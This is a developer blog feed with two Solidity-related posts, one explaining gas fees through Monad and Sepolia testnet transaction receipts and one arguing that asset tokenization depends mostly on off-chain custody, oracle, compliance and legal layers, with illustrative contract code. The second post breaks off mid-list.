Coder Legion - Recent posts tagged solidity

Understanding Gas on the Blockchain: A Practical Guide Using Real Transactions

Mon, 26 Oct 2026 13:35:40 +0000

When I first encountered the concept of gas in blockchain, I understood on the surface that it measured computational work. However, I did not fully understand what that meant in practice, how gas is actually calculated under the hood, why transactions need gas limits, or how all of those numbers come together to form a transaction fee.

Reading high-level definitions is one thing, but opening a block explorer and staring at a raw transaction receipt is another. Where does a specific number like 49,785 or 152,492 gas come from? Why does a transaction that transfers 0 ETH or 0 MON still cost money? And what actually happens to the gas you don't use?

For me, the best way to truly grasp a technical concept--to the point where you can confidently explain it to someone else--is to connect the abstract math to a physical, real-world analogy and then test it against real data.

In this article, we are going to break down how gas works from the ground up. We will build a simple physical mental model, look at how the Ethereum Virtual Machine (EVM) counts work, and then inspect two real blockchain transactions: one where I interacted directly with a smart contract on Monad Testnet, and a second transaction hash I pulled from the Ethereum Sepolia Testnet explorer to see how the two networks compare.

Separating the Five Core Concepts

When people talk about "gas," they often lump several different things into one blurry idea of "the fee I pay." To make transaction receipts easy to read, we first need to separate five distinct concepts:

Gas: The unit used to measure the computational work required to process a transaction.
Gas Limit: The maximum amount of gas a transaction is allowed to consume.
Gas Used: The amount of gas the transaction actually consumed during execution.
Gas Price: The monetary rate (in cryptocurrency) paid per single unit of gas.
Transaction Fee (Gas Fee): The final amount of cryptocurrency paid for processing the transaction, calculated according to the network's rules.

These concepts are closely related, but they do not mean the same thing.

A Relatable Analogy: The Delivery Truck
Think of executing a blockchain transaction like hiring a delivery truck to drive across town and flip a switch at a warehouse:

Gas (The Work): Driving 15 kilometers up a steep hill physically requires 10 liters of fuel. Notice that "liters" measures physical effort, not money. Whether fuel is cheap or expensive today, the engine still burns 10 liters to climb that hill.
Gas Limit (Your Fuel Cap): Before the driver leaves, you hand them a fuel card authorized for a maximum of 12 liters. You are saying: "This trip should take 10 liters, so I am allowing up to 12 liters as a safety buffer. If the road is blocked and you burn all 12 liters before getting there, stop driving immediately."
Gas Used (Actual Consumption): The driver completes the trip and the engine actually burns 10 liters.
Gas Price (Price per Liter): At the pump today, fuel costs $2 per liter. Tomorrow, during heavy traffic demand, it might cost $4 per liter. The distance and effort didn't change, only the price per unit of fuel.
Transaction Fee (The Total Bill): The final payment calculated from the fuel and the price per liter.

With that picture in mind, let's briefly look at how the blockchain measures those "liters of fuel" under the hood.

Under the Hood: How Does the Blockchain Count Gas?

When you submit a transaction on an EVM-compatible blockchain, the network doesn't guess how hard your transaction worked. Instead, every tiny instruction the computer executes--called an opcode--has a fixed cost measured in gas:

The Base Cover Charge (21,000 Intrinsic Gas): Before the blockchain even opens a smart contract, every standard transaction costs a flat minimum of 21,000 gas. This covers the basic work of verifying your cryptographic signature, checking your account nonce, and updating your account balance.
Basic Math & Memory: Inside a smart contract, simple operations like adding two numbers together (ADD) cost just 3 gas.
Reading & Writing Permanent Storage: Updating the blockchain's permanent database is the heaviest work a transaction can do, because every node on the network has to store that state change. Reading a variable from permanent storage for the first time in a transaction (SLOAD) costs 2,100 gas. Writing a brand-new non-zero value into an empty storage slot (SSTORE from 0 to 1) costs 20,000 gas, while updating an already non-zero slot (SSTORE from 1 to 2) costs 2,900 gas.

As your transaction runs, an internal meter starts at 21,000 and adds up the exact cost of every instruction executed along the way.

Now let's see how this looks on two real transaction receipts.

Case Study One: Calling `increment()` on Monad Testnet

For our first case study, I interacted directly with a smart contract deployed on Monad Testnet by calling its increment() function.

Here are the exact details from the transaction receipt:

Field	Value
Network	Monad Testnet
Function Called	`increment()`
Transaction Status	Success
Transaction Value	0 MON
Gas Limit	49,785
Gas Used (as reported)	49,785
Gas Usage	100%
Gas Price	102.82 Gwei
Transaction Fee	0.0051188937 MON

Why Did a 0 MON Transaction Still Incur a Fee?

Notice that the Transaction value is 0 MON. My transaction didn't send any MON tokens to another person or contract, yet it still charged a fee of 0.0051188937 MON. Why?

In our delivery truck analogy, Transaction value is the cash you put inside an envelope to send to someone across town. Even if you send the driver with $0 in the envelope just to flip a switch at the warehouse, the truck still has to burn fuel to drive there and flip the switch.

Look at the Solidity contract behind increment():

// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

contract Counter {
    uint256 public count;

    function increment() external {
        count = count + 1;
    }
}

This contract stores a number called count on the blockchain. Whenever someone calls increment(), the contract increases count by one (changing it from 0 to 1, or 1 to 2). Even though the code looks tiny, the blockchain still has to process the transaction, run the contract's instructions, read the current value of count, and write the updated number into permanent storage.

The transaction fee pays for that computational processing and state update, not for transferring currency.

How Was the Fee Calculated--And Why Was Gas Usage 100%?

On this receipt, the Gas limit was 49,785, and the Gas used, as reported was also 49,785:

Gas Usage Percentage = (49,785 ÷ 49,785) × 100 = 100%

And if we multiply the Gas limit (49,785) by the Gas price (102.82 Gwei):

$49,785 x 102.82 Gwei = 5,118,893.7 Gwei

Using the conversion of $10⁹ Gwei per 1 MON:

Transaction Fee = 5,118,893.7 ÷ 10⁹ = 0.0051188937 MON

This matches the displayed transaction fee down to the last digit.

But this raises an important question: Why does Monad calculate the fee using the Gas Limit, and why did the receipt report 100% gas usage?

Unlike Ethereum, which charges you based on the gas your transaction actually used after running, Monad charges based on the Gas Limit you declare upfront (and sets gasUsed equal to gasLimit on the top-level receipt).

To understand why, compare a supermarket checkout (Ethereum) with booking cargo on an airplane (Monad):

Ethereum (Supermarket Checkout): When an Ethereum validator builds a block, it runs each user's transaction on the spot before picking the next one. Because it runs the code immediately, it sees the exact Gas Used right away and knows exactly how much space is left in the block for the next person.
Monad (Booking Cargo on a Flight): To process thousands of transactions per second, Monad uses asynchronous execution: validators pack transactions into a block and lock in the order before running the smart contract code. Because the network hasn't run your code yet when packing the block, it doesn't know what your actual Gas Used will be--it only sees the Gas Limit you asked to reserve!

If Monad let users reserve massive amounts of block space using a huge Gas Limit and then only charged them for a tiny Gas Usedafterward, someone could reserve an entire block, crowd out everyone else on the network, and pay almost nothing. Just like reserving 10 seats on a bus or cargo flight where other passengers have to be turned away at the gate, on Monad you pay for the exact capacity you reserve upfront (Gas Limit).

Case Study Two: Inspecting a Transaction on Ethereum Sepolia Testnet

To see how standard Ethereum fee accounting differs, I went to the Ethereum Sepolia Testnet block explorer and pulled up a random transaction hash to inspect its receipt. In this transaction, the sender called the close() function on a smart contract.

Here are the transaction details:

Field	Value
Network	Ethereum Sepolia Testnet
Function Called	`close()`
Transaction Status	Success
Transaction Value	0 ETH
Gas Limit	156,059
Gas Used	152,492
Gas Usage	97.71%
Effective Gas Price (as reported)	0.000153611 Gwei
Transaction Fee	0.000000023424448612 ETH

Gas Limit vs. Gas Used (And What Happens to Unused Gas)

Just like the Monad transaction, this transaction sent 0 ETH in value while paying a fee to execute smart contract logic. However, look at the difference between the limit and the actual consumption.

Gas limit: 156,059
Gas used: 152,49

156,059 - 152,492 = 3,567 unused gas

Percentage Consumed = (152,492 ÷ 156,059) × 100 ≈ 97.71%

Here, the transaction consumed 97.71% of its limit and left 3,567 gas (2.29%) untouched.

What happens to that 3,567 unused gas on Ethereum?

When a transaction begins on Ethereum, the protocol temporarily locks enough ETH from the sender's balance to cover the entire 156,059 Gas Limit (just like a fuel pump pre-authorizing your card before you pump). As the code executes, the meter ticks up to 152,492. The moment execution finishes, the leftover 3,567 gas is immediately refunded back to the sender's wallet inside the exact same transaction, and that unused capacity is freed up for other transactions in the block.

How the Sepolia Transaction Fee Was Calculated

Because Ethereum refunds unused gas, the final fee is calculated strictly on Gas used:

Transaction fee = Gas used x Effective gas price

Multiplying the 152,492 gas actually consumed by the 0.000153611 Gwei effective gas price:

152,492 x 0.000153611 Gwei = 23.424448612 Gwei

Since 1 ETH = 10⁹ Gwei:

Fee = 23.424448612 ÷ 10⁹ = 0.000000023424448612 ETH

Notice that the unused 3,567 gas was never charged to the sender.

How Do You Know What Gas Limit to Set?

Looking at numbers like 49,785 on Monad and 156,059 on Sepolia, a natural question comes up: How does anyone know how much gas a contract will need before sending the transaction?

You don't have to calculate opcodes manually. In practice, gas limits are estimated automatically:

Wallet & RPC Simulation (eth_estimateGas): Before you click "Confirm" in your wallet, the wallet silently calls a method on an RPC node called eth_estimateGas. The node runs a free practice simulation (dry run) of your transaction against the current state of the blockchain in its local memory, counts the exact gas used, and reports that number back. Your wallet then adds a small safety buffer (often 10% to 20%) in case the blockchain state changes slightly before your transaction lands in a block.
Developer Tooling (Foundry): When writing smart contracts in Foundry, running forge test --gas-report or cast estimate simulates your function calls and prints out the exact gas numbers before you ever deploy to a live network.

Practical takeaway: Because Monad charges you for your declared Gas Limit, you should rely on eth_estimateGas with a modest buffer rather than manually typing in an artificially huge gas limit!

Understanding Gas Price and Gwei

Now that we've covered Gas Limit and Gas Used, let's look at Gas Price and Gwei

While gas measures the computational effort (liters of fuel), gas price is the monetary cost per single unit of gas (price per liter). Because a single unit of gas costs a tiny fraction of 1 ETH or 1 MON, we express gas prices in Gwei (short for Giga-wei) so we don't have to read strings of nine zeros:

1 ETH (or MON) = 10⁹ Gwei = 1,000,000,000 Gwei

1 Gwei = 0.000000001 ETH

When someone says "Gas price is 20 Gwei," they don't mean the whole transaction costs 20 Gwei. They mean each single unit of gas costs 20 billionths of an ETH.

Suppose a transaction consumes 50,000 gas:

At 10 Gwei per gas: 50,000 x 10 Gwei = 500,000 Gwei (0.0005 ETH).
At 20 Gwei per gas: 50,000 x 20 Gwei = 1,000,000 Gwei (0.001 ETH).

Notice that the computational work (50,000 gas) stayed completely identical--the fee doubled purely because network demand pushed the price per unit of gas twice as high.

Decoding EIP-1559: Base Fee, Priority Fee, and Max Fee

Both the Monad and Sepolia receipts identify the transaction type as EIP-1559 (Type 2). Under EIP-1559, the gas price is broken down into specific components. Let's look at the fee breakdown from the Sepolia receipt:

Fee Field	Value
Network	Ethereum Sepolia Testnet
Base Fee	0.000000015 Gwei
Max Priority Fee	0.000153596 Gwei
Max Fee	0.000153614 Gwei
Effective Gas Price	0.000153611 Gwei

Here is how these four numbers fit together:

Base fee (0.000000015 Gwei): The mandatory minimum rate per unit of gas for that block, determined automatically by the network based on how full previous blocks were. On Ethereum, the base fee is burned (destroyed) rather than paid to the block proposer.
Max priority fee (0.000153596 Gwei): The maximum tip per unit of gas the sender offers directly to the block proposer (validator) to incentivize them to include the transaction.
Max fee (0.000153614 Gwei): The absolute ceiling per unit of gas the sender is willing to pay in total (Base fee + Priority fee) in case the base fee jumps while the transaction is waiting.
Effective gas price (0.000153611 Gwei): The actual rate per unit of gas charged when the block was produced:

Effective gas price = Base fee + Effective priority fee

0.000000015 Gwei + 0.000153596 Gwei = 0.000153611 Gwei

Because 0.000153611 Gwei was safely below the sender's Max fee cap of 0.000153614 Gwei, the transaction paid the exact sum of the base fee and priority tip.

Why Do Transactions Need a Gas Limit? (And Why Gas Costs Change)

Preventing Runaway Code

Why does every blockchain transaction require a Gas Limit in the first place? Consider a contract function with a massive loop:

function expensiveOperation() external {
    uint256 total;

    for (uint256 i = 0; i < 1_000_000; i++) {
        total += i;
    }
}

If a transaction could execute without an upper bound--or accidentally hit an infinite loop--every node on the network would get stuck executing that loop forever, halting the blockchain.

The Gas Limit acts as a circuit breaker. If a transaction burns through all of its allotted gas before finishing, it stops with an Out of Gas error. When that happens, all state changes are reverted as if the transaction never happened, but the sender still pays for the gas consumed because the network already spent real computational work running the code up to that point.

Keep in mind: having plenty of gas does not guarantee a transaction will succeed. If a contract fails an internal require check or permission rule, the transaction will still revert even with gas left over.

Why Two Calls to the Same Function Can Use Different Gas

It is also easy to assume that calling the same function with the same inputs will always consume the exact same amount of gas. In practice, gas usage depends on the exact state of the contract at the moment of execution.

For example, in our Counter contract, the very first call to increment() updates count from 0 to 1. Allocating a brand-new storage slot from zero to a non-zero number costs 20,000 gas. The next call updates count from 1 to 2--and overwriting an already non-zero storage slot costs 2,900 gas. Even though both users called increment(), the first call performed heavier database work under the network's rules.

Comparing the Two Receipts: Are Fees on Monad Expensive?

Let's put our Monad Testnet interaction and the Sepolia Testnet receipt side by side

Concept	Monad Testnet: `increment()`	Sepolia Testnet: `close()`
Gas Limit	49,785	156,059
Gas Used	49,785	152,492
Gas Usage	100%	97.71%
Effective Gas Price (as reported)	102.82 Gwei	0.000153611 Gwei
Transaction Fee	0.0051188937 MON	0.000000023424448612 ETH
Fee Calculation	Gas Used x Gas Price	Gas Used x Effective Gas Price

When you look at this table, you might notice that 102.82 Gwei (0.0051 MON) looks numerically much larger than 0.000153611 Gwei (0.0000000234 ETH). Does that mean gas fees on Monad are expensive?

Not at all. In real-world dollar terms, Monad is designed so transactions cost a fraction of a cent. Those raw numbers cannot be compared directly for two reasons:

Different Native Tokens (MON-Gwei vs. ETH-Gwei): 1 Gwei on Ethereum is one-billionth of 1 ETH (an asset priced in thousands of dollars), whereas 1 Gwei on Monad is one-billionth of 1 MON. Comparing 0.005 MON to 0.00000002 ETH is like comparing 50 Naira (or 5 Japanese Yen) to 0.03 US Dollars--a bigger number in one currency doesn't mean a higher cost!
Monad's 100 Gwei Minimum Base Fee Floor: To prevent spam when blocks aren't full, Monad enforces a minimum base fee of 100 MON-gwei (which is why our transaction was 102.82 Gwei: 100 Gwei base fee + 2.82 Gwei priority tip). Sepolia Testnet has no 100 Gwei floor, so its testnet base fee had drifted down to nearly zero (0.000000015 Gwei).

Common Misunderstandings About Gas (Quick Checklist)

Gas and cryptocurrency are the same thing. They are not. Gas is a measurement of computational work; ETH and MON are the native assets used to pay for that work.
The gas limit is the exact amount of gas a transaction will use. Not necessarily. The gas limit is the maximum allowance; actual execution often consumes less.
A transaction with 0 value is free. Incorrect. Both of our transactions had a value of 0, and both required fees to pay for smart contract execution.
A higher gas limit always means a higher fee. It depends on the network's architecture! On Ethereum, you are only billed for Gas Used, and unused gas is refunded. On Monad, because blocks are packed asynchronously before execution, you are billed for the entire Gas Limit you reserve.
Enough gas guarantees a transaction will succeed. Incorrect. Even with plenty of gas, a transaction will revert if it hits a failed contract condition or permission check.

How to Explain Gas to Someone Else

If someone asks you, "What is gas on the blockchain, and how do fees work?", here is how you can break it down cleanly

Gas is the unit that measures how much computational work a transaction requires--just like liters of fuel needed for a delivery truck to complete a trip.

Every transaction sets a Gas Limit (calculated automatically by your wallet simulating the transaction), which acts as a maximum fuel cap so a bad loop can't run forever. As the transaction runs, it tallies up the Gas Used based on the exact instructions executed.

To find the Transaction Fee, you multiply the gas quantity by the Gas Price (measured in Gwei). On Ethereum, you only pay for the fuel your code actually burned (Gas Used), and any unused gas is refunded immediately. On high-speed asynchronous networks like Monad, where block space is reserved before running the code, you pay for the entire fuel limit you reserved upfront (Gas Limit).

Once you separate the unit of work, the maximum allowance, the actual consumption, and the price per unit, any transaction receipt on any EVM block explorer becomes intuitive to read.

Let's Figure Out the Rest Together

Writing this guide started with a simple realization: it is completely normal to use blockchains, deploy contracts, and still feel a bit fuzzy on what every single line of a transaction receipt is actually telling you. Moving from memorizing definitions to tracing the exact numbers is how the mental model finally clicks.

Now I'd love to hear from you: What part of Gas still feels unclear, confusing, or tricky to explain?

Is there a field on a block explorer receipt that you've always wondered about?
Have you ever run into an unexpected Out of Gas error or a strange gas estimation spike while testing a contract?
Or do you have a favorite real-world analogy of your own for explaining gas, Gwei, or EIP-1559 to someone new?

Drop your questions, edge cases, or thoughts in the comments below--no question is too basic or too far down the rabbit hole. Let's unpack them together.

BinnaDevLab
Reasoning Precedes Coding.

The Token Is the Least Interesting Part of Tokenization

Fri, 10 Jul 2026 17:20:20 +0000

"Most tokenization discussions stop at the token. In reality, the token is often the simplest component of the entire system."
There is a moment that happens in almost every tokenization project.

A developer deploys an ERC-721, writes a clean transfer function, and feels like the hard part is done. The token exists. Ownership is recorded on-chain. The asset has been "tokenized."

What Most Developers Think Tokenization Is

Ask a blockchain developer to describe tokenization, and you'll typically get something like this:

1. Identify a real-world asset (property, art, gold, bond)
2. Deploy an ERC-20 or ERC-721 contract
3. Mint tokens representing ownership or fractional shares
4. Let people trade on a DEX or marketplace

This isn't wrong. But it describes roughly 5% of the actual engineering problem.

Here's what that looks like in code - the part most engineers focus on:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract TokenizedAsset is ERC721, Ownable {
    uint256 private _tokenIdCounter;

    struct AssetMetadata {
        string assetId;          // Off-chain reference ID
        string assetType;        // "real_estate", "art", "commodity"
        uint256 valuationUSD;    // Last known valuation (WHO UPDATES THIS?)
        address custodian;       // WHO GUARANTEES THIS EXISTS?
        bool complianceVerified; // HOW WAS THIS VERIFIED?
    }

    mapping(uint256 => AssetMetadata) public assets;

    constructor() ERC721("TokenizedAsset", "TASSET") Ownable(msg.sender) {}

    function mintToken(
        address to,
        string memory assetId,
        string memory assetType,
        uint256 valuationUSD,
        address custodian
    ) external onlyOwner returns (uint256) {
        uint256 tokenId = _tokenIdCounter++;
        _safeMint(to, tokenId);

        assets[tokenId] = AssetMetadata({
            assetId: assetId,
            assetType: assetType,
            valuationUSD: valuationUSD,
            custodian: custodian,
            complianceVerified: true  // ← Who actually verified this?
        });

        return tokenId;
    }

    function transferToken(address to, uint256 tokenId) external {
        // Token transfers instantly on-chain.
        // But does the physical asset move?    NO.
        // Is the legal title updated?          NO.
        // Is the new owner KYC verified?       NOT HERE.
        safeTransferFrom(msg.sender, to, tokenId);
    }
}

Notice the comments. Every line that touches the real world — valuation, custody, compliance — is either a placeholder or a lie waiting to surface. The contract compiles. It deploys. It works perfectly on-chain. And it answers none of the questions that matter for a real asset.

The Five Layers Nobody Talks About

A production tokenization system has to answer hard questions across five distinct layers before a single token is minted.

Layer 1 — Provenance

The question: Where did this asset come from, and how do we prove it is authentic?

For a piece of art, that means verifying the ownership chain from artist to current holder, confirming it hasn't been forged, and recording that history in a way that survives beyond any single database.

For a property, it means confirming the title is clean, no liens are outstanding, and the legal owner is exactly who they claim to be.

⚠️ Blockchain can record provenance. It cannot create it.

If you put bad provenance data on-chain, you have an immutable ledger of a lie. The blockchain cannot distinguish between a real Picasso and a forgery. That verification happens in the physical world, by human experts, before anything touches the chain.

Here is what on-chain provenance metadata should actually look like:

{
  "tokenId": "0x4a3f...",
  "asset": {
    "type": "commercial_real_estate",
    "address": "123 Main Street, New York, NY",
    "legalDescription": "Lot 14, Block 7, Manhattan District...",
    "titleDeedNumber": "NYC-2024-00847291"
  },
  "provenance": {
    "originalOwner": "0xA1B2...",
    "ownershipHistory": [
      {
        "owner": "0xA1B2...",
        "acquiredDate": "2019-03-15",
        "transferType": "purchase",
        "legalDocumentHash": "QmX7kP...ipfs"
      },
      {
        "owner": "0xC3D4...",
        "acquiredDate": "2022-08-01",
        "transferType": "tokenized_sale",
        "legalDocumentHash": "QmR2nK...ipfs"
      }
    ],
    "titleVerifiedBy": "Chicago Title Insurance Company",
    "titleVerificationDate": "2024-01-10",
    "titleVerificationDocHash": "QmT9aM...ipfs"
  },
  "custody": {
    "custodian": "Anchorage Digital Bank",
    "custodianAddress": "0xE5F6...",
    "custodyAgreementHash": "QmW3bL...ipfs",
    "insurancePolicyId": "POL-2024-18473",
    "lastAuditDate": "2024-06-01"
  }
}

This is the metadata that makes the token meaningful. Without it, you have a tradeable number with no verifiable connection to the real world.

Layer 2 — Custody

The question: Who physically controls this asset, and what legal guarantee do they provide?

A token can transfer on-chain in seconds. But if that token represents a gold bar in a vault, the gold doesn't move when the token does. Someone has to maintain the physical asset, insure it, audit it periodically, and guarantee its continued existence.

Two of the most prominent tokenized gold products — Tether Gold (XAUT) and PAX Gold (PAXG) — both rely on traditional vault custodians managing physical reserves entirely off-chain. The blockchain tracks the token. The custodian tracks the gold. These are separate systems that must stay synchronized.

What happens when they diverge? That's not a blockchain problem. That's an operational failure - and no smart contract can detect or fix it.

The real engineering challenge is building custody infrastructure that:

Maintains a real-time audit trail of physical asset status
Triggers on-chain state changes when custody events occur
Provides cryptographic proof of custody at any point in time
Has legally enforceable agreements for failure scenarios

Custody Architecture:

Physical Asset (vault / property / registry)
        ↓  [physical audit]
Regulated Custodian (licensed entity)
        ↓  [signed attestation]
Verification Service (third-party auditor)
        ↓  [cryptographic proof]
Oracle Network (Chainlink, API3, etc.)
        ↓  [on-chain update]
Smart Contract State (token metadata)
        ↓  [token represents]
Token Holder (on-chain)

Every arrow here is a trust boundary. Every trust boundary requires legal agreements, technical integrations, operational processes, and failure-mode planning. None of it is in your Solidity file.

Layer 3 — The Oracle Problem

This is where most tokenization discussions go quiet, because the answer is uncomfortable.

Blockchains are deterministic, isolated systems. They execute logic perfectly on data that already exists on-chain. They have no native ability to access external data - including the current value of the asset they tokenized.

What blockchain CAN verify:
✅ Token was transferred from address A to address B
✅ Transaction happened at block 19,847,233
✅ The transfer followed all contract rules
✅ Cryptographic signatures are valid

What blockchain CANNOT verify:
❌ The gold is still in the vault
❌ The building hasn't burned down
❌ The property appraised at $2.4M this quarter
❌ The previous owner legally held the title
❌ The shipment actually arrived at the warehouse

Every item in that second list requires an oracle — an external data provider bridging real-world information onto the chain.

But centralized oracles introduce a new problem: a single point of failure that undermines the entire value proposition of decentralization.

Here's what a naive oracle integration looks like - and why it's dangerous:

// ❌ DANGEROUS: Single centralized oracle
contract NaiveTokenizedAsset is ERC721 {
    address public trustedOracle; // Single point of failure

    function updateValuation(uint256 tokenId, uint256 newValueUSD) external {
        require(msg.sender == trustedOracle, "Only oracle can update");
        // If trustedOracle is compromised, ALL valuations can be manipulated
        assets[tokenId].valuationUSD = newValueUSD;
    }
}

Here's what a production-grade oracle integration actually requires:

// ✅ BETTER: Decentralized oracle with staleness checks
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";

contract RobustTokenizedAsset is ERC721 {
    AggregatorV3Interface internal priceFeed;
    uint256 public constant MAX_STALENESS = 3600; // 1 hour max

    function getVerifiedValuation(uint256 tokenId)
        public
        view
        returns (uint256 price, bool isStale)
    {
        (
            uint80 roundId,
            int256 answer,
            ,
            uint256 updatedAt,
            uint80 answeredInRound
        ) = priceFeed.latestRoundData();

        require(answer > 0, "Invalid price data");

        // Check data freshness - stale data is dangerous
        isStale = (block.timestamp - updatedAt) > MAX_STALENESS;

        // Check round completeness
        require(answeredInRound >= roundId, "Stale round");

        price = uint256(answer);
    }

    function isValidOracleData(
        int256 answer,
        uint256 updatedAt,
        uint80 roundId,
        uint80 answeredInRound
    ) internal view returns (bool) {
        if (answer <= 0) return false;
        if (block.timestamp - updatedAt > MAX_STALENESS) return false;
        if (answeredInRound < roundId) return false;
        return true;
    }
}

Even this is incomplete. A production system also needs:

Multiple independent oracle sources (not just Chainlink)
Circuit breakers that halt trading when oracle data is suspicious
Time-weighted average prices (TWAP) to resist manipulation
Emergency governance mechanisms to override oracle data
Off-chain monitoring that alerts when feeds go stale

BlackRock's BUIDL fund is the clearest institutional proof of this. Launched in March 2024, it grew to over $2.5 billion in assets - becoming the world's largest tokenized Treasury fund. Not because of a clever smart contract. Because BlackRock paired it with Securitize's transfer agency platform, BNY Mellon's custody arrangements, and institutional-grade oracle integrations. The token was the output. The infrastructure was the actual product.

Layer 4 — Compliance Middleware

The question: Who is legally allowed to hold this token, and in which jurisdictions?

This is where many tokenization projects quietly fail. A token representing fractional real estate in the United States may be a security under SEC regulations. That means:

KYC/AML verification for every holder
Accredited investor checks
Transfer restrictions (you cannot freely trade a security token like an ERC-20)
Ongoing reporting obligations
Geographic restrictions (certain jurisdictions cannot participate)

Here's what compliant token transfer logic actually looks like:

// ERC-3643: Security Token Standard with built-in compliance
contract CompliantSecurityToken is ERC20 {
    IIdentityRegistry public identityRegistry;
    ICompliance public compliance;

    mapping(address => bool) public frozen;

    modifier onlyVerifiedInvestor(address investor) {
        require(
            identityRegistry.isVerified(investor),
            "Investor not KYC verified"
        );
        require(!frozen[investor], "Investor account is frozen");
        _;
    }

    function transfer(address to, uint256 amount)
        public
        override
        onlyVerifiedInvestor(msg.sender)
        onlyVerifiedInvestor(to)
        returns (bool)
    {
        // Off-chain compliance check BEFORE on-chain transfer
        require(
            compliance.canTransfer(msg.sender, to, amount),
            "Transfer not compliant"
        );
        return super.transfer(to, amount);
    }

    // Required for: court orders, regulatory seizure, account recovery
    // This is legal compulsion — not a bug, a legal requirement
    function forcedTransfer(address from, address to, uint256 amount)
        external onlyOwner
    {
        _transfer(from, to, amount);
    }

    // Required for: sanctions compliance, court orders
    function freeze(address account) external onlyOwner {
        frozen[account] = true;
    }
}

Notice forcedTransfer and freeze. These functions exist because real-world compliance sometimes requires overriding user ownership - for court orders, sanctions enforcement, and regulatory seizure. Every tokenization platform operating at institutional scale has these functions. They are not bugs. They are legal requirements.

Layer 5 — Legal Enforceability

This is the quietest failure mode in tokenization - and the most dangerous.

In most jurisdictions today, courts do not recognize on-chain token transfers as legally binding property transfers. If there's a dispute over a tokenized property, courts will likely defer to the traditional title deed, not the NFT.

Progress is happening:

Switzerland's DLT Act (2021) explicitly recognizes tokenized securities as legal securities
The EU's DLT Pilot Regime (March 2023) allows approved market infrastructure to experiment with tokenized instruments
Dubai's VARA created a specific legal category for tokenized real-world assets

But in the United States, most of Asia, and much of the emerging world, the legal infrastructure has not caught up to the technology.

This means many tokenization projects exist in legal limbo: the on-chain transfer is technically valid, but the off-chain legal claim may not reflect it. The blockchain says you own something. The legal system may not agree.

The Real Architecture

Here is what a production tokenization system actually looks like:

┌──────────────────────────────────────────────────────────────┐
│                     REAL WORLD LAYER                         │
│   Physical Asset → Legal Structuring (SPV / Trust)           │
│   Custodian      → Title Registry / Legal Docs               │
└─────────────────────────┬────────────────────────────────────┘
                          │ custody link
┌─────────────────────────▼────────────────────────────────────┐
│                   VERIFICATION LAYER                         │
│   Third-Party Auditors  → Provenance Verification            │
│   KYC/AML Providers     → Investor Qualification             │
│   Appraisers            → Valuation Updates                  │
│   Legal Counsel         → Regulatory Compliance              │
└─────────────────────────┬────────────────────────────────────┘
                          │ signed attestation
┌─────────────────────────▼────────────────────────────────────┐
│                      ORACLE LAYER                            │
│   Price Feeds   → Asset Valuations (Chainlink, API3)         │
│   Event Feeds   → Custody Changes, Legal Transfers           │
│   Audit Feeds   → Physical Verification Results              │
│   Compliance    → KYC Status, Sanctions Checks               │
└─────────────────────────┬────────────────────────────────────┘
                          │ on-chain data
┌─────────────────────────▼────────────────────────────────────┐
│                  SMART CONTRACT LAYER                        │
│   Token Contract (ERC-3643 or similar)                       │
│   ├── Transfer Restrictions (compliance enforcement)         │
│   ├── Forced Transfer / Freeze (legal compulsion)            │
│   ├── Oracle Integration (valuation updates)                 │
│   ├── Identity Registry (KYC verification)                   │
│   └── Ownership History (provenance recording)               │
└─────────────────────────┬────────────────────────────────────┘
                          │ mints
                    ┌─────▼─────┐
                    │   TOKEN   │  ← what everyone focuses on
                    └───────────┘

The token sits at the bottom of this entire stack. It is the visible output of everything above it. If any layer above it fails, the token becomes meaningless - not because the contract broke, but because the real-world connection it represents no longer holds.

A Concrete Walk-Through: Tokenized Commercial Real Estate

Suppose you want to tokenize a commercial office building and offer fractional ownership.

What most engineers plan for:

Week 1 → Write ERC-20 fractional ownership contract
Week 2 → Deploy to mainnet, set up frontend
Week 3 → Launch

What actually needs to happen:

Month 1–3: Legal Structuring
├── Create Special Purpose Vehicle (SPV) to hold the property
├── Engage real estate attorneys (multiple jurisdictions)
├── Prepare Private Placement Memorandum (PPM)
├── Register securities offering (or apply for exemption)
└── Establish investor eligibility criteria

Month 2–4: Custodial Setup
├── Engage regulated custodian for the SPV
├── Draft custody agreement with failure-mode provisions
├── Set up insurance for both physical asset and digital rep
├── Establish audit schedule (physical + financial)
└── Create legal links between custodian and token contract

Month 3–5: Technical Infrastructure
├── Deploy compliance middleware (KYC/AML integrations)
├── Integrate identity registry (e.g., Fractal, Onfido)
├── Set up oracle infrastructure for valuation feeds
├── Deploy ERC-3643 or similar security token standard
├── Write and professionally audit smart contracts
├── Set up multi-sig governance for admin functions
└── Build off-chain monitoring for oracle staleness

Month 4–6: Provenance & Legal Links
├── Record title deed + ownership history as IPFS-linked metadata
├── Execute legal agreements linking tokens to SPV equity rights
├── Set up title update pipeline
├── Establish dispute resolution procedures
└── Coordinate with local land registry

Month 6: Token Mint
└── Mint tokens. Write ~200 lines of Solidity. ← you are here

Ongoing (forever):
├── Quarterly valuations         → oracle updates
├── Rental income distribution   → token holder payments
├── Regulatory reporting         → investor disclosures
├── Compliance monitoring        → sanctions screening
├── Custodian audits             → on-chain attestations
└── Legal maintenance            → filings, insurance renewals

The Solidity work is roughly 5% of this project by time and cost. The other 95% is legal, operational, compliance, and infrastructure work that most blockchain tutorials never mention.

What the Numbers Tell Us

This is not theoretical. The market is large enough to make it urgent.

Metric	Value
RWA tokenization market (mid-2025)	$23 billion
Growth rate (H1 2025)	260%
Tokenized U.S. Treasuries (late 2025)	$9+ billion
BlackRock BUIDL AUM	$2.5 billion
Total RWA protocols TVL (Oct 2025)	$18 billion
Projected RWA market by 2030 (Citi)	$4 trillion

BlackRock, Franklin Templeton, JPMorgan, BNY Mellon — all deploying real capital. Every one of them had to solve the off-chain problem before the on-chain part could work.

JPMorgan's Tokenized Collateral Network (TCN) moved from pilot to live production. Figure Technologies processed over $13 billion in HELOC originations on blockchain. The technical challenge was never the token standard. It was integration with existing legal, custodial, and regulatory infrastructure.

Questions to Ask Before Writing a Single Line of Solidity

These are the questions that determine whether your project works in production:

On custody:

Who is the regulated custodian for the physical asset?
What legal agreements govern token ownership vs. physical control?
What happens if the custodian becomes insolvent or loses the asset?

On provenance:

What documentation proves the asset's origin and ownership history?
Who verified it, and are they trusted in the relevant jurisdiction?
How is provenance updated when real-world events occur?

On valuation:

Who provides asset valuations, and how frequently?
Which oracle solution bridges this to on-chain state?
What happens during oracle downtime or data manipulation?

On compliance:

